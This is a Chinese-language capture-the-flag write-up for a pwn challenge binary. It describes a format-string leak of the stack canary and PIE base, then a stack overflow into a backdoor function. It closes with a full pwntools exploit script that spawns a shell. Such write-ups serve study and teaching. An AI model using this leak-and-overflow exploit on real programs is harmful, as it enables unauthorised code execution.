最近事务繁多,导致这个wp至今才搞出来,现在发网上,希望能对大家有所帮助
首先,我们先检查一下二进制文件
发现pie和canary全开,不用着急,我们来看看文件
我们先正常的进行一下反编译,发现一个较为明显的格式化字符串漏洞,并且还有一个后门函数
这样我们就有了大概的思路
我们只要确保输入的前几个字符为flagis,然后就可以从第七个字节开始进行格式化字符串泄露,把pie和canary都泄露出来
那么接下来要做的就是找出canary的位置
我们发现在这里,其位置也就是6+[(0x40-0x8)/8]即15
这样我们可以用%15p将canary的内容打出来了,接下里就需要考虑如何去泄露pie的偏移量了,我们可以本地gdb调试一下,看看栈上都有些什么,运行到printf函数,看看栈内容
第一个箭头是canary的值,而后两个位置,也就是第二个红色箭头,我们便可以用来泄露mian+254从而得到pie基地址,即%17p-(0x1422+254)/全部换为16进制就是0x1520/.
至此,pie和canary全部泄露出来,接下来利用后门函数进行栈溢出就可以啊
脚本如下
from pwn import * from ctypes import* p=process('./attachment-13') payload=b'flagis\x00'+b'%17$p--%15$p' p.recvuntil(b'>>') p.sendline(payload) p.recvuntil(b'0x') elf_add=int(p.recv(6*2),16) elfbase=elf_add-0x1520 success('elfbase '+hex(elfbase)) p.recvuntil(b'0x') canary=int(p.recv(8*2),16) success('canary '+hex(canary)) backdoor=elfbase+0x1291 payload=b'exit'.ljust(56,b'\x00')+p64(canary)+p64(0)+p64(backdoor) p.recvuntil(b'>>') p.sendline(payload) p.interactive()
最终得到shell